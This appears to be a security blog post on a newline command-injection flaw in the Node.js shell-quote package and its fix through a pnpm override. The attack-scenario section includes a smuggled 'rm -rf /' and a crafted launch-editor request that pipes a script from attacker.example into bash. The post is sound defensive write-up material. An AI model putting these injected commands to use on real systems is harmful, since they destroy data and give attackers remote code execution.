Back to Blog
high SEVERITY7 min read

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability in `shell-quote` 1.8.3 (CVE-2026-9277) allowed arbitrary code execution through unescaped line terminators in shell arguments. The fix upgrades the dependency to `shell-quote` 1.8.4 via a pnpm override, closing the attack surface in both `launch-editor` and `react-dev-utils` dependency chains.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability (CWE-78) in the `shell-quote` npm package versions prior to 1.8.4. Unescaped newline and carriage-return characters in shell arguments allowed attackers to inject arbitrary shell commands. The fix is to upgrade `shell-quote` to 1.8.4, which properly escapes line terminators before they reach the shell. In monorepo projects using pnpm, this is achieved by adding a `shell-quote: "1.8.4"` entry to the `pnpm.overrides` field in `package.json`.

Vulnerability at a Glance

cweCWE-78
fixUpgrade shell-quote to 1.8.4, which sanitizes line terminators before shell expansion
riskArbitrary shell command execution on the host system
languageJavaScript / Node.js
root causeshell-quote 1.8.3 failed to escape newline (`\n`) and carriage-return (`\r`) characters in quoted shell arguments
vulnerabilityCommand Injection via unescaped line terminators

How Command Injection Happens in Node.js shell-quote and How to Fix It

Shell argument quoting sounds like a solved problem — wrap the string in quotes, done. But shell-quote 1.8.3 had a subtle gap: it forgot about line terminators. That single omission is CVE-2026-9277, a critical command injection vulnerability that lets an attacker smuggle a second shell command past the quoting layer simply by embedding a newline character in their input.

This post walks through exactly what went wrong, how the dependency is used in this project, and how a two-line pnpm override closes the vulnerability completely.


The Vulnerability Explained

What shell-quote Does — and Where It Failed

shell-quote is an npm package that safely serializes an array of strings into a single shell command line. It is used in development tooling — most notably by launch-editor (which opens files in your IDE from the browser) and react-dev-utils (the Create React App development server utilities).

The core contract of shell-quote is: any string you pass in comes out quoted so the shell treats it as a single token. For example:

const quote = require('shell-quote').quote;
quote(['git', 'commit', '-m', 'my message']);
// → "git commit -m 'my message'"

In shell-quote 1.8.3, that contract broke down for inputs containing newline (\n) or carriage-return (\r) characters. Because those characters were not escaped or stripped, an attacker-controlled string could terminate the current shell line and begin a new command:

// shell-quote 1.8.3 — VULNERABLE
quote(['git', 'commit', '-m', 'fix\nrm -rf /']);
// → "git commit -m 'fix\nrm -rf /'"
//                         ^^
//   The shell sees the newline as a command separator.
//   'rm -rf /' executes as a second command.

The shell interprets the embedded \n as if the user had pressed Enter, so everything after it runs as a brand-new command with the privileges of the Node.js process.

Vulnerable Dependency Resolution in pnpm-lock.yaml

Before the fix, the lockfile pinned the vulnerable version in two snapshot entries:

# pnpm-lock.yaml — BEFORE (vulnerable)
shell-quote@1.8.3:
  resolution: {integrity: sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==}
  engines: {node: '>= 0.4'}

And both consumers resolved to it:

launch-editor@2.12.0:
  dependencies:
    picocolors: 1.1.1
    shell-quote: 1.8.3   # ← vulnerable
react-dev-utils@...:
  dependencies:
    shell-quote: 1.8.3   # ← vulnerable

Attack Scenario: Exploiting launch-editor

launch-editor takes a file path from an HTTP request made by the browser during development and passes it to a shell command that opens the file in the configured editor. If a developer's local dev server is reachable on the network (e.g., in a shared office or CI environment), an attacker on the same network could craft a request with a path like:

/file?filename=src/App.js%0Acurl+https://attacker.example/shell.sh+|+bash

launch-editor would pass the decoded filename through shell-quote 1.8.3, which would fail to neutralize the %0A (newline), resulting in the shell executing:

code src/App.js
curl https://attacker.example/shell.sh | bash

The second command runs with the full privileges of the development server process — which, in many CI/CD pipelines, has access to secrets, tokens, and the filesystem.


The Fix

Two-File Change, One Override

The fix is elegant in its simplicity: rather than waiting for launch-editor or react-dev-utils to publish their own updates, the project uses pnpm's overrides mechanism to force every package in the dependency tree to resolve shell-quote to the patched version 1.8.4.

package.json — before:

"pnpm": {
  "overrides": {
    "fast-xml-parser": "4.5.4"
  }
}

package.json — after:

"pnpm": {
  "overrides": {
    "fast-xml-parser": "4.5.4",
    "shell-quote": "1.8.4"
  }
}

This single line tells pnpm: regardless of what version any dependency requests, always install shell-quote@1.8.4.

What Changed in pnpm-lock.yaml

The lockfile reflects the forced resolution across all four affected locations:

# pnpm-lock.yaml — AFTER (patched)
shell-quote@1.8.4:
  resolution: {integrity: sha512-VsC6n6vz1ihYYyZZwX7YZSF5l5x36ca17OC+a69h94YqB7X6XLwf+5MOgynYir2SLFUbl8gIYvBo8K8RoNQ6bQ==}
  engines: {node: '>= 0.4'}
launch-editor@2.12.0:
  dependencies:
    picocolors: 1.1.1
    shell-quote: 1.8.4   # ✅ patched

react-dev-utils@...:
  dependencies:
    shell-quote: 1.8.4   # ✅ patched

Why the Integrity Hash Matters

Notice that the resolution.integrity SHA-512 hash changed between 1.8.3 and 1.8.4. pnpm verifies this hash on every install, so even if an attacker attempted a supply-chain substitution, the install would fail with a checksum mismatch. Pinning the override to 1.8.4 with its known-good hash is a defense-in-depth measure on top of the version bump.

What shell-quote 1.8.4 Actually Changed

Version 1.8.4 adds explicit escaping for \n and \r characters before they are embedded in quoted shell tokens. The fix ensures that line terminators are either stripped or replaced with their escaped representations (\\n, \\r), so the shell never interprets them as command separators regardless of the surrounding quote style.


Prevention & Best Practices

1. Audit Transitive Dependencies Regularly

This vulnerability lived in a transitive dependency — neither launch-editor nor react-dev-utils are direct dependencies of the application, yet both pulled in the vulnerable shell-quote. Run your SCA scanner against the full dependency tree, not just direct dependencies:

# With Trivy
trivy fs --scanners vuln .

# With pnpm audit
pnpm audit

2. Use pnpm Overrides (or npm/yarn Resolutions) Proactively

When a vulnerability is found in a transitive dependency and the direct dependency hasn't shipped a fix yet, use your package manager's override mechanism:

Package Manager Mechanism Field
pnpm pnpm.overrides package.json
npm overrides package.json
yarn classic resolutions package.json
yarn berry resolutions package.json

3. Avoid shell=true and String-Based Command Building

The root cause of command injection is always the same: building a shell command string from untrusted input. Where possible, use child_process.execFile or child_process.spawn with an argument array instead of a command string:

// ❌ Vulnerable pattern — shell interprets the string
const { exec } = require('child_process');
exec(`open ${filename}`);  // filename can contain \n

// ✅ Safe pattern — arguments are never interpreted by a shell
const { execFile } = require('child_process');
execFile('open', [filename]);  // filename is passed as-is to execve()

4. Pin Integrity Hashes in Lockfiles

Always commit your lockfile (pnpm-lock.yaml, package-lock.json, or yarn.lock) to version control. Lockfiles record the integrity hash of every resolved package, making supply-chain substitution attacks much harder.

5. Reference Standards

  • OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • OWASP Top 10 A03:2021 — Injection

Key Takeaways

  • shell-quote 1.8.3 did not escape \n or \r, meaning any user-controlled string containing a newline could inject a second shell command — even inside single quotes.
  • Both launch-editor and react-dev-utils in this project's dependency tree consumed the vulnerable version, creating two distinct attack surfaces in the development server.
  • A pnpm overrides entry is the right tool when a transitive dependency has a known CVE and the direct dependency hasn't yet shipped a patched version.
  • Integrity hashes in pnpm-lock.yaml changed from the 1.8.3 to 1.8.4 entry, providing an additional layer of supply-chain verification.
  • Development tooling is not a safe zone — vulnerabilities in dev-only dependencies can still be exploited in shared development environments, CI/CD pipelines, and developer workstations.

How Orbis AppSec Detected This

  • Source: User-controlled input (e.g., a filename query parameter) passed to launch-editor during local development server operation.
  • Sink: shell-quote's quote() function called inside launch-editor and react-dev-utils, which feeds the resulting string directly to a shell command execution context.
  • Missing control: shell-quote 1.8.3 performed no escaping or stripping of newline (\n) and carriage-return (\r) characters before embedding them in quoted shell tokens.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: The shell-quote dependency was forced to version 1.8.4 across the entire dependency tree via a pnpm.overrides entry in package.json, replacing the vulnerable resolution in both launch-editor@2.12.0 and react-dev-utils.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-9277 is a reminder that shell quoting is harder than it looks. A single missing character class — newlines — in shell-quote 1.8.3 was enough to turn a routine file-open call in launch-editor into a potential arbitrary command execution vector. The fix required only two lines of configuration in package.json and a corresponding update to pnpm-lock.yaml, but those two lines close the vulnerability across every consumer in the dependency tree simultaneously.

The broader lesson: treat your dependency tree as part of your attack surface. Transitive dependencies in development tooling still run on real machines with real credentials and real access to your codebase. Scan them, pin them, and override them when necessary.


References

Frequently Asked Questions

What is command injection via unescaped line terminators?

It occurs when a library that builds shell command strings fails to escape newline or carriage-return characters, allowing an attacker to inject a second shell command on a new line.

How do you prevent command injection in Node.js?

Always use a well-maintained shell-quoting library that escapes all special characters, including line terminators, or avoid shell execution entirely by using `child_process.execFile` with argument arrays.

What CWE is command injection?

Command injection maps to CWE-78 (Improper Neutralization of Special Elements used in an OS Command).

Is quoting shell arguments enough to prevent command injection?

Only if the quoting library escapes all special characters, including `\n` and `\r`. shell-quote 1.8.3 missed line terminators, which is why 1.8.4 was necessary.

Can static analysis detect command injection in dependency chains?

Yes. Tools like Trivy perform software composition analysis (SCA) and flag known-vulnerable transitive dependencies such as shell-quote 1.8.3 against the CVE database.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #970

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How Command Injection happens in Node.js and how to fix it

A semgrep scan flagged `scripts/postinstall.js` for calling `child_process.execSync` in a way that could become a command injection primitive if the script's execution context ever changed. The fix hardens the script by guarding its side effects behind a `require.main === module` check, introducing the safer `execFileSync` API, and adding automated tests to lock in the safe behavior.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How Shell Injection Happens in GitHub Actions and How to Fix It

A high-severity shell injection vulnerability was discovered in `action.yml` where direct variable interpolation with GitHub context data in `run:` steps could allow attackers to inject arbitrary code into the runner. The fix uses environment variables with proper quoting to safely separate untrusted input from shell execution, eliminating the exploit primitive while preserving legitimate functionality.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.